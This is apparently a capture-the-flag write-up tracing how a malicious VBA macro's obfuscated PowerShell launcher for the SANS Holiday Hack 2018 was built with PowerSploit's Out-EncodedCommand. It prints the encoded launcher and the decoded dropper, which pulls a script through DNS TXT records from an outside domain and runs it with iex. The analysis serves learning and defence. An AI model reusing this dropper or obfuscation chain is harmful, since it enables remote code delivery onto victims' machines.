Discovery

Using sal a New-Object to set an alias for a as New-Object caught my eye, and in some googling around, I found the Out-EncodedCommand.ps1 script that’s part of PowerSploit. I believe that was used to generate the PowerShell command that was run in the VBA macro.

As a reminder, here’s the command that was run by the VBA:

powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C "sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"

And that decoded to the dropper:

function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-string))

Testing

To test this, I saved the dropper code as dropper.ps1, and the I ran Out-EncodedCommand against it using options that looked similar to what I had seen in the VBA.

PS C:\Users\0xdf\Dropbox\CTFs\SansHolidayChallenge-2018> . .\Out-EncodedCommand.ps1
PS C:\Users\0xdf\Dropbox\CTFs\SansHolidayChallenge-2018> Out-EncodedCommand -Path .\dropper.ps1 -NonInteractive -NoExit -NoProfile powershell -NoE -NoP -NonI -E "cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAbABWAEgAUgBTAHMATQB3AEYAUAAyAFYAUwB3AGsAcwBZAFUAdABvAFcAawB4AHgAWQA0AGkAeQBpAHIANABvAGEAQgArAEUATQBVAFkAbwBxAFEAMQBzAHkAVQBqAFQAbwBYAFQANwBkADIALwAxAFoAYgA0AHAARgA1AEoARAB6AHUARwBjAGUAMgArAGEAMwB0AFgAUgBlAGcAYwBQADIAUwAwAGwAbQBzAEYAQQAvAEEASwBJAEIAdAA0AGQAZABqAGIAQwBoAEEAcgBCAEoAbgBDAEMARwB4AGkAQQBiAE8ARQBNAGkAQgBzAGYAUwBsADIAMwBNAEsAegByAFYAbwBjAE4AWABkAGYAZQBIAFUAMgBJAG0ALwBrADgAZQB1AHUAaQBWAEoAUgBzAFoAMQBJAHgAZAByADUAVQBFAHcAOQBMAHcARwBPAEsAUgB1AGMARgBCAEIAUAA3ADQAUABBAEIATQBXAG0AUQBTAG8AcABDAFMAVgBWAGkAUwBaAFcAcgBlADYAdwA3AGQAYQAyAHUAcwBsAEsAdAA4AEMANgB6AHMAawBpAEwAUABKAGMASgB5AHQAdABSAGoAZwBDADkAegBlAGgATgBpAFEAWAByAEkAQgBYAGkAcwBwAG4ASwBQADcAcQBZAFoANQBTACsAbQBNADcAdgBqAG8AYQB2AFgAUABlAGsAOQB3AGIANABxAHcAbQBvAEEAUgBOADgAYQAyAEsAagBYAFMAOQBxAHYAdwBmACsAVABTAGEAawBFAGIAKwBKAEIASABqADEAZQBUAEIAUQB2AFYAVgBNAGQARABGAFkAOQA5ADcATgBRAEsAYQBNAFMAegBaAHUAcgBJAFgAcABFAHYANABiAFkAcwBXAGYAYwBuAEEANQAxAG4AeABRAFEAdgBHAEQAeAByAGwAUAA4AE4AeABIAC8AawBNAHkAOQBnAFUAPQAnACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkA"

That looks nothing like the code from the vba, but if I base64 decode that, I get the following, which looks almost exactly like the command I started with:

sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gU='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()

It’s not clear to me what I’m doing different from the challenge creators. It comes down to this block of code:

{
    $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`""

    if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength)
    {
        $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`""
    }

    if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput']))
    {
        $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`""
    }
}

I don’t set the EncodedOutput flag, but my payload is short enough that it still encodes it. If I comment out the length checks and just do that if based on the flag, I get:

PS C:\Users\0xdf\Dropbox\CTFs\SansHolidayChallenge-2018> Out-EncodedCommand -NoExit -NoProfile -NonInteractive -Path .\dropper.ps1
powershell -NoE -NoP -NonI -C "sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::From
Base64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gU='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"

And that is, with a small exception in the last few bytes of the zip data, exactly the same as what I found in the macro.

Conclusion

It’s pretty clear that the creators of this challenge used Out-EncodedCommand (or something very similar) to create the obfuscation layers used in this challenge. It’s not definitive as to why I had to edit the script to not have an extra layer of base64. It’s possible that the code changed, and they were working off an older version (or just a different fork). It’s possible that they manually removed it to reduce the complexity of an already complex challenge. And it’s certainly possible I’m doing something dumb and just missing it! Regardless, this is a pretty cool example of seeing these kinds of tools in use.